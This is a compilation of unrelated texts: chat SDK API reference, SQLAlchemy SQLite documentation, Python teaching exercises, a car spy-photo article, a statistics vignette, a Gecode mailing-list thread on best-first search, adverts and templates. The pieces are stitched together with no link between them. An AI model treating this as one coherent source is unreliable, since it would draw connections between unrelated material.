staticQB.chat.onRejectSubscribeListener(userId)
modules/chat/qbChat.js, line 249 -
Receive reject request. More info.
Name Type Description userId
Number The sender ID -
staticQB.chat.onSentMessageCallback(messageLost, messageSent)
modules/chat/qbChat.js, line 161 -
This feature defines an approach for ensuring is the message delivered to the server. This feature is unabled by default. More info.
Name Type Description messageLost
Object The lost message model object (Fail) messageSent
Object The sent message model object (Success) -
staticQB.chat.onSubscribeListener(userId)
modules/chat/qbChat.js, line 235 -
Receive subscription request. More info.
Name Type Description userId
Number The sender ID -
staticQB.chat.onSystemMessageListener(message)
modules/chat/qbChat.js, line 196 -
These messages work over separated channel and won't be mixed with the regular chat messages. More info.
Name Type Description message
Object The system message model object. Always have type: 'headline' -
staticQB.chat.send(jid_or_user_id, message){String}
modules/chat/qbChat.js, line 945 -
Send message to 1 to 1 or group dialog. More info.
Name Type Description jid_or_user_id
String | Number Use opponent id or jid for 1 to 1 chat, and room jid for group chat. message
Object The message object. Returns:
Type Description String messageId - The current message id (was generated by SDK) -
staticQB.chat.sendIsStopTypingStatus(jid_or_user_id)
modules/chat/qbChat.js, line 1082 -
Send is stop typing status. More info.
Name Type Description jid_or_user_id
String | Number Use opponent id or jid for 1 to 1 chat, and room jid for group chat. -
staticQB.chat.sendIsTypingStatus(jid_or_user_id)
modules/chat/qbChat.js, line 1055 -
Send is typing status. More info.
Name Type Description jid_or_user_id
String | Number Use opponent id or jid for 1 to 1 chat, and room jid for group chat. -
staticQB.chat.sendReadStatus(params)
modules/chat/qbChat.js, line 1148 -
Send is read status. More info.
Name Type Description params
Object Object of parameters Name Type Description userId
Number The receiver id messageId
Number The delivered message id dialogId
Number The dialog id -
staticQB.chat.sendSystemMessage(jid_or_user_id, message){String}
modules/chat/qbChat.js, line 1007 -
Send system message (system notification) to 1 to 1 or group dialog. More info.
Name Type Description jid_or_user_id
String | Number Use opponent id or jid for 1 to 1 chat, and room jid for group chat. message
Object The message object. Returns:
Type Description String messageId - The current message id (was generated by SDK)


Cartesian, coordinate
polar, coordinate
polar, anholonomic, orthonormal
cylindrical surface, coordinate
cylindrical surface, anholonomic, orthonormal
cylindrical surface, anholonomic, conformal
cylindrical, coordinate
cylindrical, anholonomic, orthonormal
cylindrical and time, coordinate
sphere surface, coordinate
sphere surface, anholonomic, orthonormal
spherical, coordinate
spherical, anholonomic, orthonormal
spherical, sinh-radial, coordinate
spherical, sinh-radial, anholonomic, orthonormal
spherical and time, coordinate
Schwarzschild
spiral, coordinate


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Javier's Painting performs the most extensive and meticulous prep-work on the outside of your home. We make certain your home is moisture-sealed and all surfaces are smooth before painting.
Javier's painting understand the trust extended when a homeowner hires us for interior projects. On all projects, but especially inside your home, we are careful and respectful.
We know the rain can do a lot of damage, so we completely strip and sand the deck to bare wood before staining; letting the finish truly soak in.


Support for the SQLite database.
The following dialect/DBAPI options are available. Please refer to individual DBAPI sections for connect information.
SQLite does not have built-in DATE, TIME, or DATETIME types, and pysqlite does not provide out of the box functionality for translating values between Python datetime objects and a SQLite-supported format. SQLAlchemy’s own DateTime and related types provide date formatting and parsing functionality when SQlite is used. The implementation classes are DATETIME, DATE and TIME. These types represent dates and times as ISO formatted strings, which also nicely support ordering. There’s no reliance on typical “libc” internals for these functions so historical dates are fully supported.
Background on SQLite’s autoincrement is at: http://sqlite.org/autoinc.html
Two things to note:
To specifically render the AUTOINCREMENT keyword on the primary key column when rendering DDL, add the flag sqlite_autoincrement=True to the Table construct:
Table('sometable', metadata,
Column('id', Integer, primary_key=True),
sqlite_autoincrement=True)
create_engine() accepts an isolation_level parameter which results in the command PRAGMA read_uncommitted <level> being invoked for every new connection. Valid values for this parameter are SERIALIZABLE and READ UNCOMMITTED corresponding to a value of 0 and 1, respectively. See the section Serializable Transaction Isolation for an important workaround when using serializable isolation with Pysqlite.
Note that SQLite is not designed for a high level of concurrency. The database itself, being a file, is locked completely during write operations and within transactions, meaning exactly one connection has exclusive access to the database during this period - all other connections will be blocked during this time.
The Python DBAPI specification also calls for a connection model that is always in a transaction; there is no BEGIN method, only commit and rollback. This implies that a SQLite DBAPI driver would technically allow only serialized access to a particular database file at all times. The pysqlite driver attempts to ameliorate this by deferring the actual BEGIN statement until the first DML (INSERT, UPDATE, or DELETE) is received within a transaction. While this breaks serializable isolation, it at least delays the exclusive locking inherent in SQLite’s design.
SQLAlchemy’s default mode of usage with the ORM is known as “autocommit=False”, which means the moment the Session begins to be used, a transaction is begun. As the Session is used, the autoflush feature, also on by default, will flush out pending changes to the database before each query. The effect of this is that a Session used in its default mode will often emit DML early on, long before the transaction is actually committed. This again will have the effect of serializing access to the SQLite database. If highly concurrent reads are desired against the SQLite database, it is advised that the autoflush feature be disabled, and potentially even that autocommit be re-enabled, which has the effect of each SQL statement and flush committing changes immediately.
For more information on SQLite’s lack of concurrency by design, please see Situations Where Another RDBMS May Work Better - High Concurrency near the bottom of the page.
SQLite supports FOREIGN KEY syntax when emitting CREATE statements for tables, however by default these constraints have no effect on the operation of the table.
Constraint checking on SQLite has three prerequisites:
SQLAlchemy allows for the PRAGMA statement to be emitted automatically for new connections through the usage of events:
from sqlalchemy.engine import Engine
from sqlalchemy import event
@event.listens_for(Engine, "connect")
def set_sqlite_pragma(dbapi_connection, connection_record):
cursor = dbapi_connection.cursor()
cursor.execute("PRAGMA foreign_keys=ON")
cursor.close()
As with all SQLAlchemy dialects, all UPPERCASE types that are known to be valid with SQLite are importable from the top level dialect, whether they originate from sqlalchemy.types or from the local dialect:
from sqlalchemy.dialects.sqlite import \
BLOB, BOOLEAN, CHAR, DATE, DATETIME, DECIMAL, FLOAT, \
INTEGER, NUMERIC, SMALLINT, TEXT, TIME, TIMESTAMP, \
VARCHAR
Represent a Python datetime object in SQLite using a string.
The default string storage format is:
"%(year)04d-%(month)02d-%(day)02d %(hour)02d:%(min)02d:%(second)02d.%(microsecond)06d"
e.g.:
2011-03-15 12:05:57.10558
The storage format can be customized to some degree using the storage_format and regexp parameters, such as:
import re
from sqlalchemy.dialects.sqlite import DATETIME
dt = DATETIME(
storage_format="%(year)04d/%(month)02d/%(day)02d %(hour)02d:%(min)02d:%(second)02d",
regexp=re.compile("(\d+)/(\d+)/(\d+) (\d+)-(\d+)-(\d+)")
)
| Parameters: |
|
|---|
Represent a Python date object in SQLite using a string.
The default string storage format is:
"%(year)04d-%(month)02d-%(day)02d"
e.g.:
2011-03-15
The storage format can be customized to some degree using the storage_format and regexp parameters, such as:
import re
from sqlalchemy.dialects.sqlite import DATE
d = DATE(
storage_format="%(month)02d/%(day)02d/%(year)04d",
regexp=re.compile("(?P<month>\d+)/(?P<day>\d+)/(?P<year>\d+)")
)
| Parameters: |
|
|---|
Represent a Python time object in SQLite using a string.
The default string storage format is:
"%(hour)02d:%(minute)02d:%(second)02d.%(microsecond)06d"
e.g.:
12:05:57.10558
The storage format can be customized to some degree using the storage_format and regexp parameters, such as:
import re
from sqlalchemy.dialects.sqlite import TIME
t = TIME(
storage_format="%(hour)02d-%(minute)02d-%(second)02d-%(microsecond)06d",
regexp=re.compile("(\d+)-(\d+)-(\d+)-(?:-(\d+))?")
)
| Parameters: |
|
|---|
Support for the SQLite database via the pysqlite driver.
Note that pysqlite is the same driver as the sqlite3 module included with the Python distribution.
Documentation and download information (if applicable) for pysqlite is available at: http://docs.python.org/library/sqlite3.html
When using Python 2.5 and above, the built in sqlite3 driver is already installed and no additional installation is needed. Otherwise, the pysqlite2 driver needs to be present. This is the same driver as sqlite3, just with a different name.
The pysqlite2 driver will be loaded first, and if not found, sqlite3 is loaded. This allows an explicitly installed pysqlite driver to take precedence over the built in one. As with all dialects, a specific DBAPI module may be provided to create_engine() to control this explicitly:
from sqlite3 import dbapi2 as sqlite
e = create_engine('sqlite+pysqlite:///file.db', module=sqlite)
The file specification for the SQLite database is taken as the “database” portion of the URL. Note that the format of a SQLAlchemy url is:
driver://user:pass@host/database
This means that the actual filename to be used starts with the characters to the right of the third slash. So connecting to a relative filepath looks like:
# relative path
e = create_engine('sqlite:///path/to/database.db')
An absolute path, which is denoted by starting with a slash, means you need four slashes:
# absolute path
e = create_engine('sqlite:////path/to/database.db')
To use a Windows path, regular drive specifications and backslashes can be used. Double backslashes are probably needed:
# absolute path on Windows
e = create_engine('sqlite:///C:\\path\\to\\database.db')
The sqlite :memory: identifier is the default if no filepath is present. Specify sqlite:// and nothing else:
# in-memory database
e = create_engine('sqlite://')
The pysqlite driver includes the sqlite3.PARSE_DECLTYPES and sqlite3.PARSE_COLNAMES options, which have the effect of any column or expression explicitly cast as “date” or “timestamp” will be converted to a Python date or datetime object. The date and datetime types provided with the pysqlite dialect are not currently compatible with these options, since they render the ISO date/datetime including microseconds, which pysqlite’s driver does not. Additionally, SQLAlchemy does not at this time automatically render the “cast” syntax required for the freestanding functions “current_timestamp” and “current_date” to return datetime/date types natively. Unfortunately, pysqlite does not provide the standard DBAPI types in cursor.description, leaving SQLAlchemy with no way to detect these types on the fly without expensive per-row type checks.
Keeping in mind that pysqlite’s parsing option is not recommended, nor should be necessary, for use with SQLAlchemy, usage of PARSE_DECLTYPES can be forced if one configures “native_datetime=True” on create_engine():
engine = create_engine('sqlite://',
connect_args={'detect_types': sqlite3.PARSE_DECLTYPES|sqlite3.PARSE_COLNAMES},
native_datetime=True
)
With this flag enabled, the DATE and TIMESTAMP types (but note - not the DATETIME or TIME types...confused yet ?) will not perform any bind parameter or result processing. Execution of “func.current_date()” will return a string. “func.current_timestamp()” is registered as returning a DATETIME type in SQLAlchemy, so this function still receives SQLAlchemy-level result processing.
Pysqlite’s default behavior is to prohibit the usage of a single connection in more than one thread. This is originally intended to work with older versions of SQLite that did not support multithreaded operation under various circumstances. In particular, older SQLite versions did not allow a :memory: database to be used in multiple threads under any circumstances.
Pysqlite does include a now-undocumented flag known as check_same_thread which will disable this check, however note that pysqlite connections are still not safe to use in concurrently in multiple threads. In particular, any statement execution calls would need to be externally mutexed, as Pysqlite does not provide for thread-safe propagation of error messages among other things. So while even :memory: databases can be shared among threads in modern SQLite, Pysqlite doesn’t provide enough thread-safety to make this usage worth it.
SQLAlchemy sets up pooling to work with Pysqlite’s default behavior:
When a :memory: SQLite database is specified, the dialect by default will use SingletonThreadPool. This pool maintains a single connection per thread, so that all access to the engine within the current thread use the same :memory: database - other threads would access a different :memory: database.
When a file-based database is specified, the dialect will use NullPool as the source of connections. This pool closes and discards connections which are returned to the pool immediately. SQLite file-based connections have extremely low overhead, so pooling is not necessary. The scheme also prevents a connection from being used again in a different thread and works best with SQLite’s coarse-grained file locking.
Changed in version 0.7: Default selection of NullPool for SQLite file-based databases. Previous versions select SingletonThreadPool by default for all SQLite databases.
To use a :memory: database in a multithreaded scenario, the same connection object must be shared among threads, since the database exists only within the scope of that connection. The StaticPool implementation will maintain a single connection globally, and the check_same_thread flag can be passed to Pysqlite as False:
from sqlalchemy.pool import StaticPool
engine = create_engine('sqlite://',
connect_args={'check_same_thread':False},
poolclass=StaticPool)
Note that using a :memory: database in multiple threads requires a recent version of SQLite.
Due to the way SQLite deals with temporary tables, if you wish to use a temporary table in a file-based SQLite database across multiple checkouts from the connection pool, such as when using an ORM Session where the temporary table should continue to remain after commit() or rollback() is called, a pool which maintains a single connection must be used. Use SingletonThreadPool if the scope is only needed within the current thread, or StaticPool is scope is needed within multiple threads for this case:
# maintain the same connection per thread
from sqlalchemy.pool import SingletonThreadPool
engine = create_engine('sqlite:///mydb.db',
poolclass=SingletonThreadPool)
# maintain the same connection across all threads
from sqlalchemy.pool import StaticPool
engine = create_engine('sqlite:///mydb.db',
poolclass=StaticPool)
Note that SingletonThreadPool should be configured for the number of threads that are to be used; beyond that number, connections will be closed out in a non deterministic way.
The pysqlite driver only returns Python unicode objects in result sets, never plain strings, and accommodates unicode objects within bound parameter values in all cases. Regardless of the SQLAlchemy string type in use, string-based result values will by Python unicode in Python 2. The Unicode type should still be used to indicate those columns that require unicode, however, so that non-unicode values passed inadvertently will emit a warning. Pysqlite will emit an error if a non-unicode string is passed containing non-ASCII characters.
The pysqlite DBAPI driver has a long-standing bug in which transactional state is not begun until the first DML statement, that is INSERT, UPDATE or DELETE, is emitted. A SELECT statement will not cause transactional state to begin. While this mode of usage is fine for typical situations and has the advantage that the SQLite database file is not prematurely locked, it breaks serializable transaction isolation, which requires that the database file be locked upon any SQL being emitted.
To work around this issue, the BEGIN keyword can be emitted at the start of each transaction. The following recipe establishes a ConnectionEvents.begin() handler to achieve this:
from sqlalchemy import create_engine, event
engine = create_engine("sqlite:///myfile.db", isolation_level='SERIALIZABLE')
@event.listens_for(engine, "begin")
def do_begin(conn):
conn.execute("BEGIN")


1. doctest¶
do you remember the module doctest
which allows writing tests inside a functions doc comment?
take a look at the code below, isnt this quite magical?
your exercise¶
the exercise is to write a function called func_test
that gets a function as a parameter and tests it using the tests in the functions docstreing
def func_test(func):
func_test should use the
func.__doc__
to get the docstring of the function to testlines with ‘>>>’ are what needs to be evaluated (hint: use
eval
for a MUCH simpler solution)lines afer ‘>>>’ that don’t start with ‘>>>’ are the expected result
func_test
should return a dictionary with the number of failed tests, and number of tests rantry to mimic the output of the
doctest
modulethere’s a simple code to test your
func_test
below
### useful example of doctest usage
def my_func(x, y, z):
"""
>>> my_func(1, 2, 3)
5
>>> my_func('hello ', 3, 'world')
hello hello hello world
>>> my_func(0, 0, 0)
what happens when things are wrong?
"""
return x * y + z
import doctest
doctest.testmod()
**********************************************************************
File "__main__", line 6, in __main__.my_func
Failed example:
my_func('hello ', 3, 'world')
Expected:
hello hello hello world
Got:
'hello hello hello world'
**********************************************************************
File "__main__", line 8, in __main__.my_func
Failed example:
my_func(0, 0, 0)
Expected:
what happens when things are wrong?
Got:
0
**********************************************************************
1 items had failures:
2 of 3 in __main__.my_func
***Test Failed*** 2 failures.
TestResults(failed=2, attempted=3)
def _print_failure(example, expected, got):
print("**********************************************************************")
print("Failed example:")
print('\t', example)
print('Expected:')
print('\t', expected)
print('Got:')
print('\t', got)
def func_test(func):
doc = func.__doc__
prev_line_eval = None
tests_ran = 0
tests_failed = 0
for line in doc.splitlines():
line = line.strip()
if line.startswith('>>>'):
prev_line_eval = line[3:]
result = str(eval(prev_line_eval))
elif prev_line_eval:
tests_ran += 1
if result != line:
_print_failure(prev_line_eval, line, result)
tests_failed +=1
prev_line_eval = None
print("**********************************************************************")
return {"failed" : tests_failed, "attempted" : tests_ran}
### useful: test your 'func_test' function
result = func_test(my_func)
assert result['failed'] == 1
assert result['attempted'] == 3
**********************************************************************
Failed example:
my_func(0, 0, 0)
Expected:
what happens when things are wrong?
Got:
0
**********************************************************************
2. Game of life¶
python has been used by a lot of game engines as a way to ‘script’ the engine. in this example, we have written an incredibly simple game called ‘Conway’s game of life’ 1.
fun fact: this game is is Turing complete. which means that anything that could be calculated, can be calculated using this game. In fact, several different programmable computer architectures have been implemented in Conway’s Life, including a pattern that simulates Tetris.
The game consists of an infinite 2d board on which cells live or die.
The rules of the game are simple:
Any live cell with fewer than two live neighbours dies, as if by underpopulation.
Any live cell with two or three live neighbours lives on to the next generation.
Any live cell with more than three live neighbours dies, as if by overpopulation.
Any dead cell with three live neighbours becomes a live cell, as if by reproduction.
the file game-of-life.py
contains a full implementation of the game. go ahead and run it now
>> python game-of-life.py
Your task¶
add a custom rule engine to the game
to do this you have to edit the file
game-of-life.py
you find in this directory and implement two methods that are currently unimplemented:implement the
read_custom_rules()
functionimplement the
apply_custom_rules()
function
look at the
apply_default_rules()
function, and implement the default rules of the game as two rule filesrule-1.txt
andrule-2.txt
invent new rules or modify the a rules by adding more
rule-xyz.txt
files and without changing thegame-of-life.py
file
HINTS:
both of the functions you need to implement have a handy
TODO
comment to help you with your taskapart from implementing these functions, no other code needs to be modified
here’s how rule #1 and rule #3 can be implemented together as a custom rule in a file called
rule-1.txt
if grid[i, j] == ON: if (total_neighbours < 2) or (total_neighbours > 3): result = OFF
a solution can be found in
game-of-life.solution.py
The bundled game of life code is based on this awesome implementation 2


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Next-Gen Mercedes S-Class, Maybach Spied With Different Door Handles
To retract or not to retract, that is the question.
by Christopher SmithMercedes-Benz is taking its sweet time bringing the new W223 S-Class sedan to production. If it seems like we’ve seen camouflaged test cars for years, it’s because we have. Our first sighting of the next-gen luxury sedan was clear back in September 2017 with a test mule wearing present-day S-Class skin. Today’s sighting comes courtesy of walkoARTvideos on YouTube, and these prototypes definitely aren’t mere mules. As far as we can tell, these machines are production-spec and ready for the world.
The New S-Class Is Coming:
Of course, Mercedes engineers make that final determination and the testing clearly continues. This video shows not just the next S-Class sedan but the swanky Mercedes-Maybach S-Class variant as well, and we’re actually given a pretty good look at its door handles. That may sound rather boring, but it’s no secret that Mercedes will offer retractable handles on its new S-Class. The long-wheelbase Maybach seen here doesn’t appear to have them, however, which is a bit of a surprise. That is, unless these are a different kind of hideaway handles.
Gallery: Mercedes S-Class And Maybach Spy Screenshots
Meanwhile, other W223 prototypes in this spy video do have flush handles that can be easily seen. With the camo wrap still fully in place there’s admittedly not much to see there, but most of our prototype sightings have featured vehicles with large boxes around the handles to completely conceal what’s happening underneath. Since retractable handles help with vehicle aerodynamics, that chunky door camo had to come off eventually in the testing process. It’s at least a sign that the new S-Class is in the home stretch.
By home stretch, we mean a debut is likely still several months away. We expect to see Mercedes reveal the new S-Class sedan next year as a 2021 model, likely pulling the camo wrap midway through 2020. As for the upscale Maybach, it will probably follow a year later as a 2022 model.
Source: walkoARTvideos via YouTube


RT @confreaks: New Video! @rubyconf #rubyconf The Not So Rational Programmer by @laura_nobilis http://confreaks.tv/videos/rubyconf2015-the-not-so-rational-programmer
11/20/2015, 1:11:30 PM
Favs: 0
Retweets: 0
link--- layout: tweet ---
RT @confreaks: New Video! @rubyconf #rubyconf The Not So Rational Programmer by @laura_nobilis http://confreaks.tv/videos/rubyconf2015-the-not-so-rational-programmer
11/20/2015, 1:11:30 PM
Favs: 0
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link


dev/vignettes/not-built-vignettes/Comparing-Depth-and-Density.Rmd
Comparing-Depth-and-Density.Rmd
import numpy as np
import matplotlib.pyplot as plt
import pandas as pd
import scipy.stats
import scipy
import scipy.spatial
import progressbar
In this vignette, we will be attempting to compare depth (distance based) to a Guassian KDE - to emphasis that depth (local or otherwise) focuses more on geometric features of centrality than kernel density destimates. This will be done using data in 1d and 2d euclidean space.
We will be using 2 different data sets, as show below and have versions of them in 1d and 2d euclidean space.
This vignette is actually written in python
using the reticulate
package from R studio
. This was done for some speed gains. It’s possible that we will craft this into a fast R
approach later in this package’s life.
np.random.seed(1)
single_2d = np.random.uniform(size = (1000,2))
single_1d = np.random.uniform(size = 1000)
double_2d = np.vstack([
np.vstack([np.random.uniform(low = 0, high = .1,size = (500)),
np.random.uniform(low = 0, high = 1,size = (500))]).T,
np.vstack([np.random.uniform(low = .9, high = 1,size = (500)),
np.random.uniform(low = 0, high = 1,size = (500))]).T])
double_1d = np.hstack([np.random.uniform(low = 0, high = .1,size = (500)),
np.random.uniform(low = .9, high = 1,size = (500))])
Let’s first do the 2d data examples (I think they’re really good at emphasising the differences between the two). As you can see from the data visualization
Let’s start with the 2d euclidean data first. For the 1 block of uniform distribution, we will examine different values of \(\tau\) relative to the local distance depth defined above.
But before we do, let’s look at the distribution to distances:
dist_mat = scipy.spatial.distance_matrix(x = single_2d, y = single_2d)
plt.hist(dist_mat.ravel());
plt.show()
I’ve hidden the creation of a python version of EpiCompare::local_distance_depth_function
in this document, but it’s coded the same way - just a little faster in python
than R
.
Below are visualization of the different local depth scores (relative to \(\tau\)).
tau_list = [.1,.2,.4,.6,.8,1,np.inf]
bar = progressbar.ProgressBar()
ldd = list()
for tau in bar(tau_list):
ldd.append(local_distance_depth_function(dist_mat, tau))
##
N/A% (0 of 7) | | Elapsed Time: 0:00:00 ETA: --:--:--
14% (1 of 7) |### | Elapsed Time: 0:00:00 ETA: 0:00:00
28% (2 of 7) |####### | Elapsed Time: 0:00:00 ETA: 0:00:01
42% (3 of 7) |########### | Elapsed Time: 0:00:05 ETA: 0:00:20
57% (4 of 7) |############## | Elapsed Time: 0:00:22 ETA: 0:00:50
71% (5 of 7) |################## | Elapsed Time: 0:00:49 ETA: 0:00:53
85% (6 of 7) |###################### | Elapsed Time: 0:01:23 ETA: 0:00:34
100% (7 of 7) |##########################| Elapsed Time: 0:01:57 Time: 0:01:57
We really want to compare this to smoothing of a Guassian KDE to be able to really examine the differences.
The below estimates are with varying bandwidth parameters for the Guassian KDE estimates. Note that the final “bw = silverman” uses the Silverman’s Method to select the bandwidth parameter.
It should be pretty clear these two approaches act differently. And, with the uniform structure we capture different things. Arguably the depth approach better captures the geometric structure of the uniform distribution. You can image a Gaussian distribution (instead of uniform distribution), would show much less differences.
Let’s move onto another two-dimensional dataset that has different, but also interesting, structure - 2 disjoint uniform blocks.
Again, let’s first look at the distribution of distances between data points.
tau_list2 = [.1,.2,.4,.6,.8,1,1.2,np.inf]
bar = progressbar.ProgressBar()
ldd2 = list()
for tau in bar(tau_list2):
ldd2.append(local_distance_depth_function(dist_mat2, tau))
##
N/A% (0 of 8) | | Elapsed Time: 0:00:00 ETA: --:--:--
12% (1 of 8) |### | Elapsed Time: 0:00:00 ETA: 0:00:02
25% (2 of 8) |###### | Elapsed Time: 0:00:01 ETA: 0:00:03
37% (3 of 8) |######### | Elapsed Time: 0:00:04 ETA: 0:00:18
50% (4 of 8) |############# | Elapsed Time: 0:00:09 ETA: 0:00:20
62% (5 of 8) |################ | Elapsed Time: 0:00:15 ETA: 0:00:17
75% (6 of 8) |################### | Elapsed Time: 0:00:41 ETA: 0:00:50
87% (7 of 8) |###################### | Elapsed Time: 0:01:14 ETA: 0:00:32
100% (8 of 8) |##########################| Elapsed Time: 0:01:45 Time: 0:01:45
In this example too, the geometric structure of the data is more highlighted with the low values of \(\tau\) - in which we get a central ridge for each of the blocks. This isn’t captured by the KDE, and we get (do to random clumping) high density regions that do not well represent the geometric structure of the data.
Below I’d just like to show the same argumet in the x
dimension of the data. I’ll just be showing the figures
Let’s start with the 2d euclidean data first. For the 1 block of uniform distribution, we will examine different values of \(\tau\) relative to the local distance depth defined above.
But before we do, let’s look at the distribution to distances:
dist_mat = scipy.spatial.distance_matrix(x = single_1d.reshape((-1,1)), y = single_1d.reshape((-1,1)))
plt.hist(dist_mat.ravel());
plt.show()
tau_list = [.1,.2,.4,.6,.8,np.inf]
bar = progressbar.ProgressBar()
ldd = list()
for tau in bar(tau_list):
ldd.append(local_distance_depth_function(dist_mat, tau))
# get min/max range of density estimate:
##
N/A% (0 of 6) | | Elapsed Time: 0:00:00 ETA: --:--:--
16% (1 of 6) |#### | Elapsed Time: 0:00:00 ETA: 0:00:04
33% (2 of 6) |######## | Elapsed Time: 0:00:04 ETA: 0:00:15
50% (3 of 6) |############# | Elapsed Time: 0:00:19 ETA: 0:00:42
66% (4 of 6) |################# | Elapsed Time: 0:00:41 ETA: 0:00:44
83% (5 of 6) |##################### | Elapsed Time: 0:01:09 ETA: 0:00:27
100% (6 of 6) |##########################| Elapsed Time: 0:01:36 Time: 0:01:36
_min = np.inf
_max = -np.inf
for idx, tau in enumerate(tau_list):
_min = np.min([np.min(ldd[idx]), _min])
_max = np.max([np.max(ldd[idx]), _max])
#visualizing them
fig, ax = plt.subplots(nrows = 2, ncols = 4, figsize = (12,6))
ax = ax.ravel()
for idx, tau in enumerate(tau_list):
ldd_tau_i = ldd[idx]
resort = np.argsort(single_1d)
cs = ax[idx].plot(single_1d[resort],
ldd_tau_i[resort])
ax[idx].set_title("tau = " + str(tau));
fig.delaxes(ax[7]);
fig.suptitle("Local Depth fitting on uniform hypercube");
fig.tight_layout(rect=[0, 0.03, 1, 0.95]);
plt.show()
I’m not sure that this really shows anything, but I include it anyway.
Let’s look at the distribution to distances, for the 2 block distribution
dist_mat = scipy.spatial.distance_matrix(x = double_1d.reshape((-1,1)), y = double_1d.reshape((-1,1)))
plt.hist(dist_mat.ravel(),bins = 50);
plt.show()
tau_list = [.1,.2,.4,.6,.8,np.inf]
bar = progressbar.ProgressBar()
ldd = list()
for tau in bar(tau_list):
ldd.append(local_distance_depth_function(dist_mat, tau))
# get min/max range of density estimate:
##
N/A% (0 of 6) | | Elapsed Time: 0:00:00 ETA: --:--:--
16% (1 of 6) |#### | Elapsed Time: 0:00:05 ETA: 0:00:27
33% (2 of 6) |######## | Elapsed Time: 0:00:11 ETA: 0:00:22
50% (3 of 6) |############# | Elapsed Time: 0:00:16 ETA: 0:00:16
66% (4 of 6) |################# | Elapsed Time: 0:00:22 ETA: 0:00:11
83% (5 of 6) |##################### | Elapsed Time: 0:00:27 ETA: 0:00:05
100% (6 of 6) |##########################| Elapsed Time: 0:00:58 Time: 0:00:58
_min = np.inf
_max = -np.inf
for idx, tau in enumerate(tau_list):
_min = np.min([np.min(ldd[idx]), _min])
_max = np.max([np.max(ldd[idx]), _max])
#visualizing them
fig, ax = plt.subplots(nrows = 2, ncols = 4, figsize = (12,6))
ax = ax.ravel()
for idx, tau in enumerate(tau_list):
ldd_tau_i = ldd[idx]
resort = np.argsort(double_1d)
cs = ax[idx].plot(double_1d[resort],
ldd_tau_i[resort])
ax[idx].set_title("tau = " + str(tau));
fig.delaxes(ax[7]);
fig.suptitle("Local Depth fitting on uniform hypercube");
fig.tight_layout(rect=[0, 0.03, 1, 0.95]);
plt.show()
## KernelDensity(algorithm='auto', atol=0, bandwidth=0.01, breadth_first=True,
## kernel='gaussian', leaf_size=40, metric='euclidean',
## metric_params=None, rtol=0)
## KernelDensity(algorithm='auto', atol=0, bandwidth=0.05, breadth_first=True,
## kernel='gaussian', leaf_size=40, metric='euclidean',
## metric_params=None, rtol=0)
## KernelDensity(algorithm='auto', atol=0, bandwidth=0.1, breadth_first=True,
## kernel='gaussian', leaf_size=40, metric='euclidean',
## metric_params=None, rtol=0)
## KernelDensity(algorithm='auto', atol=0, bandwidth=0.2, breadth_first=True,
## kernel='gaussian', leaf_size=40, metric='euclidean',
## metric_params=None, rtol=0)
## KernelDensity(algorithm='auto', atol=0, bandwidth=0.3, breadth_first=True,
## kernel='gaussian', leaf_size=40, metric='euclidean',
## metric_params=None, rtol=0)
## KernelDensity(algorithm='auto', atol=0, bandwidth=0.5, breadth_first=True,
## kernel='gaussian', leaf_size=40, metric='euclidean',
## metric_params=None, rtol=0)
## KernelDensity(algorithm='auto', atol=0, bandwidth=1, breadth_first=True,
## kernel='gaussian', leaf_size=40, metric='euclidean',
## metric_params=None, rtol=0)


---
layout: post
title: icon porn feast your eyes on snow leopards
date: '2009-09-07T14:06:45+01:00'
tags: []
tumblr_url: http://backlog.robbevan.com/post/181947182/icon-porn-feast-your-eyes-on-snow-leopards
---
Icon Porn: Feast Your Eyes On Snow Leopard’s Beautiful Icons | Cult of Mac


{{ jd.team }}
Closing date: {{ jd.closing_date }}
{{ jd.ref }}
{{ jd.profession }}
{{ jd.salary_range }}
37
| Division: | {{ jd.team }} |
| Department | {{ jd.department }} |
| Location: | {{ jd.location }} |
| Grade: | {{ jd.grade }} |
| Contract Type: | {{ jd.contract }} |
You’ll:
Essential:
Desirable:
The successful candidate must show the following competencies from the Civil Service Competency Framework:
Email your covering letter and CV to {{ jd.contacts.external_cand }}, quoting ref number IRC {{ jd.ref }}
If you’re a civil servant please check the terms and conditions before applying.
Applications are welcome from part-timers and job sharers.
For more on this role: {{ jd.contacts.about_role }}
For terms and conditions, eligibility and recruitment: {{ jd.contacts.terms }}


[gecode-users] Best-first search
Malcolm Ryan
malcolmr at cse.unsw.edu.au
Fri Sep 4 10:11:39 CEST 2009
After some more reading of the DFS and LDS code I think I've got it
more or less worked out. It doesn't need to be terribly efficient. It
is the 'conventional approach' in an experiment which aims to show
that another approach is superior, so I'm not going out of my way to
optimise it cleverly.
It could, however, be worth implementing an RCS-style system in
general. The value would depend on how good your heuristic is. A good
heuristic should result in behaviour very similar to DFS. A bad
heuristic could cause search to behave more like BFS which would make
RCS fairly useless, I think.
Malcolm
On 04/09/2009, at 5:30 PM, Guido Tack wrote:
> Malcolm Ryan wrote:
>
>> I need a search engine for gecode that implements best-first search,
>> i.e. search using a priority queue sorted on an heuristic. It doesn't
>> look like Gecode current implements this, so I figure I'll have to
>> write it myself.
>>
>> Any recommendations on how I should go about it? I've been reading
>> the
>> source for DFS and LDS but I'm not clear on what functions such an
>> engine would be expected to implement.
>
> If you want the same interface as the built-in search engines, it
> should mainly provide a next method, and probably use Stop objects
> to further control the search.
>
> In order to get started, I'd just use an STL priority queue and
> implement a system with full copying, i.e., the queue stores
> spaces. When you dequeue a space, you determine the number of its
> children n, create n-1 copies, commit the original space and each
> copy to one alternative each, determine the cost for each child, and
> enqueue the resulting children.
> This should give you something that works, although the cost in
> terms of memory may be prohibitive (you'll keep an exponential
> number of spaces alive).
>
> So the second step would be to figure out how to combine this with
> recomputation. Instead of queuing spaces, you queue nodes, which
> may contain a space or a pointer to a parent node. You'll have to
> represent parts of the search tree in addition to the queue in order
> to make this work. Then, if you dequeue a node that doesn't have a
> space, you follow the parent pointers up in the tree to find a node
> with a space, and recompute the target node.
> I'm not quite sure how this works in practice, as you'll have to
> actually create a space for each node when you create it, to
> determine its priority. I guess you'd then throw away the spaces
> for all nodes except the best, or something similar.
>
> Cheers,
> Guido
More information about the gecode-users
mailing list


Travel for a change.
We believe in the power of travel; a power that broadens your perspective and turns strangers into family. It’s this belief that motivates us at Jalan Nyicil to provide life-changing adventures for anyone with a case of wanderlust.
When you take a flower in your hand and really look at it, it's your world for the moment. We want to give that world to someone else. Most people in the city rush around so, they have no time to look at a flower. We want them to see it whether they want to or not.
Live to work. Work to party. Party to live. .
Jalan Nyicil is the world's largest event technology platform. We build the technology to
allow anyone to find and attend new things to do that fuel their passions and enrich their lives.
